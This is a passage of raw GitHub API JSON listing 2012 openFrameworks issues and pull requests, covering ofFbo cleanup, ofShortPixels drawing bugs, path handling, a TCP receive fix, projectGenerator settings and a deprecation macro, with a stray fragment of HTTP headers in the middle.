\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"cf9ec647fbc78faae05cb2d11598f79c"'), ('date', 'Tue, 29 May 2012 19:27:10 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-30T19:43:55Z","body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be difficult).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1217,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1217","assignee":null,"title":"projectGenerator update doesn't respect existing project settings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T21:03:44Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269431,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-02T10:19:07Z","body":"Since I don't want to derail #484 further, this issue deals with the implementation of a deprecation mechanism.\r\nBased on [this](http://stackoverflow.com/questions/295120/c-mark-as-deprecated), I made an OFDEPRECATED preproc macro.\r\n\r\nQUESTION: How do I correctly #ifdef for MacOS/XCode4/llvm?\r\n\r\nCould people test this on different platforms? On linux this works. \r\n\r\n\t\ttestApp.h:\r\n\r\n\t\t#pragma once\r\n\r\n\t\t#ifdef __GNUC__\r\n\t\t// maybe __clang__ for checking against llvm/xcode4?\r\n\t\t#define OFDEPRECATED(message, func) func __attribute__ ((deprecated(message)))\r\n\t\t#elif defined(_MSC_VER)\r\n\t\t#define OFDEPRECATED(message, func) __declspec(deprecated(message)) func\r\n\t\t#else\r\n\t\t#pragma message(\"WARNING: You need to implement DEPRECATED for this compiler\")\r\n\t\t#define OFDEPRECATED(message, func) func\r\n\t\t#endif\r\n\r\n\t\tand \r\n\r\n\t\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\r\n\t\t\t\tOFDEPRECATED(\"This is an old function, don't use!\", void deprecatedFunction(void));\r\n\t\t\t\tOFDEPRECATED(\"Obsolete type, use T2!\", typedef int T1);\r\n\t\t\t\ttypedef int T2;\r\n\t\t\t\tOFDEPRECATED(\"This is an old variable, don't use!\", int oldvar3);\r\n\t\t\t\t//This breaks a bit cause it's used in the constructor of testApp, so always triggers.\r\n\r\n\t\t};\r\n\t\tOFDEPRECATED(\"old class!\", class oldClass {\r\n\t\t\tpublic:\r\n\t\t\t\toldClass();\r\n\t\t\t\tvirtual ~oldClass();\r\n\t\t});\r\n\r\n\t\ttestApp.cpp:\r\n\r\n\t\tvoid testApp::setup(){\r\n\t\t\tOFDEPRECATED(\"old string. Don't use\", string oldstring);\r\n\t\t\t// Uncomment these to trigger deprecation warnings\r\n\t\t//\tdeprecatedFunction();\r\n\t\t//\tT1 t1object = 5;\r\n\t\t//\toldstring = \"bla\";\r\n\t\t//\toldvar3=5;\r\n\t\t//\toldClass bla;\r\n\t\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1216","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1216,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1216","assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Implement deprecation mechanism","labels":[],"closed_at":null,"created_at":"2012-04-24T21:03:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269429,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-30T19:43:14Z","body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1215,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1215","assignee":null,"title":"projectGenerator sets incorrect path in Project.xcconfig","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T20:59:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269359,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T23:56:33Z","body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","comments":3,"milestone":null,"number":1202,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1202","assignee":null,"title":"ofVideoPlayer etc needs ofColor access","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-22T18:42:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4231092,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T17:34:24Z","body":"DO NOT PULL YET!\r\n\r\nHey all\r\n\r\nHere's the 'off-axis camera' setup we worked on at ScreenLab last weekend.\r\nIt allows you to:\r\n\r\n* Set lens offset on a camera\r\n* Calculate the camera parameters based on a 'view portal' defined by 3 points (top left, bottom left, bottom right)\r\n\r\nCurrently the changes involve editing ofBaseRenderer (and therefore all other renderers) to support lensOffset parameter (default 0,0). We could remove this since ofCamera doesn't actually use ofSetupScreenPerspective\r\n\r\nSo let's have a quick chat about what needs chaning to make this core friendly and then probably pull after 0071 release?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1201","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1201,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1201","assignee":null,"title":"Feature provocation pull request: ofCamera lens offset","labels":[],"closed_at":null,"created_at":"2012-04-22T15:55:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4230131,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1201.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1201","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1201.patch"}},{"updated_at":"2012-05-14T01:22:17Z","body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","comments":8,"milestone":null,"number":1190,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1190","assignee":null,"title":"Bezier Shaders & Vector openGL 